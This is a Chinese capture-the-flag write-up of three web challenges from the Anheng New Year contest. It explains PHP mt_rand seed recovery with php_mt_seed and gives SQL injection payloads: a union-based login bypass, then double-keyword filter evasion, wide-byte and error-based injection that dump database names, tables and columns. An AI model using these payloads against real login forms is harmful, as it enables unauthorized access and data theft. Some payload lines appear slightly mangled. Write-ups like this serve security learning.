安恒新春祈福赛
安恒新春祈福赛
web
枯燥的抽奖
打开以后在源代码里面找到 check.php,去访问了一下
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}
mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";
if(isset($_POST['num'])){
if($_POST['num']===$str){
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");
其中 mt_rand() 会出现随机数安全问题,就是说如果播种的种子(seed)一样的话,那么产生的随机数实际上是不变的
可以使用这个爆破出来
下下来直接解压以后在目录执行 make
命令,就可以使用了
拿源码来解释一下:
<?php
session_start();
if(!isset($_SESSION['seed'])){//如果没有seed的话从0到999999999之间选择一个作为seed
$_SESSION['seed']=rand(0,999999999);
}
mt_srand($_SESSION['seed']);//以seed作为种子播种
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){//这里就是产生的20个flag
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
//产生的方法是从str_long1里面的第mt_rand个开始选择一个添加到str里面这样循环20次
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";//然而最后展示出来的只是前十个
if(isset($_POST['num'])){
if($_POST['num']===$str){//输入的跟str进行匹配,还是全等的
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
知道它的原理之后其实可以自己实现一下,然后转换成 php_mt_seed 能识别的形式
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='sjeZQs2cLo'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
break
print(res)
然后使用 php_mt_seed:
把得到的 seed 带入题目源码里面就可以得到 flag 了,注意 php 的版本
找了几个php7在线运行都不行,还是phpstudy稳
得到 flag
BabySqli
尝试登录的话会返回账号错误还是密码错误,可以得出admin账号是存在的
然后使用 union 万能密码绕过(MD5是123的MD5)
username:-1' union select 1, 'admin', '202cb962ac59075b964b07152d234b70' #
password:123
解释一下 union 万能密码,
如果原来的查询语句是:
<?php
$sql = "SELECT * FROM users WHERE username='$username' and password = '".md5($password,true)."'";
?>
你输入的是:
username:-1' union select 1, 'admin', '202cb962ac59075b964b07152d234b70' #
password:123
那这个语句就会被构造成:
select * from users where username='-1' union select 1, 'admin', '202cb962ac59075b964b07152d234b70' # and password='md5(123,true)';
这条语句的结果是:
这样你输入的admin的密码就是你传的123的MD5值,就可以成功登陆了
BabySqliv2.0
union 与 select 被置为空,双写绕过
单引号回家反斜线转义,宽字节注入
admin 被检测,0x 被检测,使用 char(97,100,109,105,110)
爆库名:web_sqli
username:1%df' ununionion selselectect 1,char(97,100,109,105,110),group_concat(schema_name) from information_schema.schemata%23
password:随意
爆表名:f14g
username:1%df' ununionion selselectect 1,char(97,100,109,105,110),group_concat(table_name) from information_schema.tables whwhereere table_schema=char(119,101,98,95,115,113,108,105)%23
password:随意
爆字段名:
username:1%df' ununionion selselectect 1,char(97,100,109,105,110),group_concat(column_name) from information_schema.columns whwhereere table_name=char(102,49,52,103)%23
password:随意
爆flag:
username:1%df' uniunionon selselectect 1,char(97,100,109,105,110),group_concat(327a6c4304ad5938eaf0efb6cc3e53dc) from f14g%23
password:随意
解出来全是歌词??为啥我的没有flag???
使用:
username:%df'
and(seselectlect 1 from(sselectelect count(),concat((sselectelect (sselectelect (SESELECTLECT concat(327a6c4304ad5938eaf0efb6cc3e53dc) FROM f14g limit 22,1)) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)--+
password:随意
可以得到!!!